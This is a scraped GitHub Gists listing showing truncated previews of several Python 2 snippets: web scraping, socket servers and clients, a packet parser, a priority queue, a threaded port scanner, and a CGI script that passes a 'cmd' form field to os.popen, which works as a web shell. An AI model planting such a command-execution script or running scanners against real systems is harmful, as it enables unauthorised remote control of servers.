This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from urllib import urlopen | |
res = urlopen('http://ya.ru') | |
print res.headers |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
import urllib | |
from bs4 import BeautifulSoup | |
html = urllib.urlopen('http://habrahabr.ru') | |
print "Scraping url: %s" % html.code | |
bt = BeautifulSoup(html.read(), "lxml") | |
print bt.title | |
allLinks = bt.find_all('a') |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
import subprocess | |
myurl = 'http://blurredlogic.net/data/tut/Ethical_HackingV6/CEH-v6_Instructor_slides/CEHv6%20Module%2000%20%20Student%20Introduction.pdf' | |
subprocess.call(["wget", "-r", "-np", "-A", "files", myurl]) | |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
# -*- coding: utf-8 -*- | |
import socket | |
import struct | |
import binascii | |
def tcp_packet(ip_hdr): | |
print "###[ IP ]###" | |
print " proto= tcp" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
import cgi,os,re,sys | |
form = cgi.FieldStorage() | |
cmd = form.getvalue('cmd', '') | |
osexe = os.popen(cmd) | |
dirt = os.getcwd()+'/' | |
prognm = sys.argv[0].strip() | |
progfl = re.findall(dirt+'(.*)',prognm)[0] | |
osinf = os.uname() | |
info='''System : %s %s %s %s''' %(osinf[0],osinf[2],osinf[3],osinf[4]) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class Valuta: | |
def __init__(self, y, t): | |
self.yest_k = y | |
self.today_k = t | |
self.soot(y,t) | |
def soot(self, y,t): | |
self.balans = (t*100)/y-100 | |
if self.balans > 0: | |
self.prognoz = 'rost, not sale' | |
else: |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import Queue | |
class Job(object): | |
def __init__(self, priority, description): | |
self.priority = priority | |
self.description = description | |
print 'New job:', description | |
return | |
def __cmp__(self, other): | |
return cmp(self.priority, other.priority) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import threading | |
import socket | |
import Queue | |
class Scanner(threading.Thread): | |
def __init__(self,queue): | |
threading.Thread.__init__(self) | |
self.queue = queue | |
def run(self): | |
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
while True: |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import socket | |
import sys | |
from thread import * | |
HOST = '127.0.0.1' # Symbolic name meaning all available interfaces | |
PORT = 8888 # Arbitrary non-privileged port | |
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
print 'Socket created' |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#Socket client example in python | |
import socket #for sockets | |
import sys #for exit | |
#create an INET, STREAMing socket | |
try: | |
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
except socket.error: | |
print 'Failed to create socket' |
NewerOlder